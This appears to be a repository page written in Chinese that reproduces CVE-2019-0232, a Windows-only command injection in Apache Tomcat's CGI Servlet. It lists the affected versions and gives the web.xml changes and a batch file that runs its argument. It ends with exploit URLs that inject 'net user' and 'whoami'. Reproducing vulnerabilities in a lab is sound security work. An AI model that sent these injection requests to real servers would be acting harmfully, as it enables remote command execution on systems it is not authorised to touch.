Skip to content

Latest commit

 

History

History

CVE-2019-0232 Apache Tomcat远程代码执行漏洞

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

CVE-2019-0232 Apache Tomcat远程代码执行漏洞

简介

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应HTML(标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的

漏洞描述

该漏洞只对Windows平台有效,攻击者向CGI Servlet发送请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。CGI_Servlet默认是关闭的

漏洞影响范围

Apache Tomcat 9.0.0.M1 ~ 9.0.17
Apache Tomcat 8.5.0 ~ 8.5.39
Apache Tomcat 7.0.0 ~ 7.0.93

利用条件

打开Tomcat按目录下的conf/web.xml 取消以下两项的注释,否则访问cgi目录会提示404,默认情况下是注释的

Web.xml文件 (两处代码都需要取消注释)

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
      <param-name>debug</param-name>
      <param-value>0</param-value>
    </init-param>
    <init-param>
      <param-name>cgiPathPrefix</param-name>
      <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
      <param-name>executable</param-name>
      <param-value></param-value>
    </init-param>
     <load-on-startup>5</load-on-startup>
</servlet> 

<!-- The mapping for the CGI Gateway servlet -->

<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

修改在conf/context.xml中的添加privileged="true"语句

在webappsROOTWEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个bat文件写入

@echo off
echo Content-Type: text/plain
echo .
set off=%~1
%off%

都配置完成之后进入 bin目录下运行 startup.bat 启动tomcat

漏洞复现

1.在浏览器访问,执行net user 命令

http://your-ip/cgi-bin/test.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user

2.执行whoami命令

http://192.168.64.137:8080/cgi-bin/test.bat?c:/windows/system32/whoami.exe